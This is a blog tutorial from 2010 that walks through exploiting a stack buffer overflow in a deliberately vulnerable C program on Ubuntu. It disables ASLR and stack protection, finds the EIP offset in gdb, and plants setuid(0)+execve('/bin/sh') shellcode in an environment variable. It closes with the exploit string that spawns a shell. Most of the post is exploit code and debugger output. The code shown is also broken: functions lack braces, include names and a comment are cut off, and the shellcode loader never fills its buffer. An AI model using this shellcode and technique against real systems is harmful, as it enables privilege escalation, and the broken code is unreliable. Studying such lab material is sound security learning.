Thursday, August 12, 2010

Buffer overflows on the easy.

So i started out on a little journey into buffer overflows on ubuntu and i thought i would take you with me :) First things first, we need to setup our environment and we start by opening a terminal and turning address space randomization off like so:

echo 0 > /proc/sys/kernel/randomize_va_space

Then we need to turn on core dumps:

ulimit -c unlimited

And now we are ready for our BOF app, here is the source we will be working with:


int main(int argc, char** argv)
char buffer[10];
strcpy(buffer, argv[1]);
printf("sent to buffer: %s \n", buffer);
return 0;

Compile it with this string:

gcc -z execstack -g -o BOF -fno-stack-protector -mpreferred-stack-boundary=2 BOF.c

So all our program does is take what ever char string we pass to it, put it in a buffer and echo it back. Let try it out:


Cool huh? Lets try to pass 14 "A"s to it and see what happens:

./BOF `perl -e 'print "A" x 14'`

Run that and you should see something like this returned:

Segmentation fault (core dumped)

Ok so now we have a core dump we can work with. Lets load it up:

gdb -c core ./BOF

Once at a prompt type "i r" and hit enter and you should see something like this:

eax 0x0 0
ecx 0xbffff3dc -1073744932
edx 0x414140fd 1094795517
ebx 0x287ff4 2654196
esp 0xbffff40c 0xbffff40c
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x171286 0x171286 <_setjmp+6>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Ok so we see we filled ebp up with 41's which is A in hex but our goal is to take over the eip pointer, so lets exit gdb and put a few more As in there.

./BOF `perl -e 'print "A" x 15'`

Now when we open gdb and run "i r" we get this:

eax 0x0 0
ecx 0xbffff3cc -1073744948
edx 0x289340 2659136
ebx 0x287ff4 2654196
esp 0xbffff400 0xbffff400
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x150041 0x150041
eflags 0x10296 [ PF AF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

There we see we got one A into eip. So now we know that 14 "A"s will fill the stack up to eip so in all our string will be 18 chars long, 14 to fill up the stack, and 4 to take over eip. Now we just need something to put there, and i have just the thing:

#include //dont forget brackets again
#define NOP 0x90 /* nops , we want to land here */

char shellcode[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80

"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80

/* This is not my shell code , I got it from
Its setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])

int main(void)
char egg[512];
puts("loaded eggshell into env");
setenv("EGG", egg, 1);

Now just compile that and run it to get it into memory. The main benefit with the method of pushing the shell code into a environment variable is that when dealing with small buffers we dont have to try to cram it all into it because its already in the memory at another location, more on that later. Now we need to make BOF seg fault again:

./BOF `perl -e 'print "A" x 18'`

Now open gdb so we can find out what address our egg shell was loaded to, we do that with this command:

x/s $esp

Now just hit enter until you see something like this:

0xbffff51c: "EGG=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\"

So now we have the address that our shell code was loaded to "0xbffff51c", all thats left is to chop off the leading 0x, reverse its order, and put it in hex formate giving us this "\x1c\xf5\xff\xbf", and push it into eip. So our BOF string will look like this:

./BOF `perl -e 'print "A" x 14'``printf "\x1c\xf5\xff\xbf"`

After running that you should be at a new shell xD There you have it, a BOF from start to finish.

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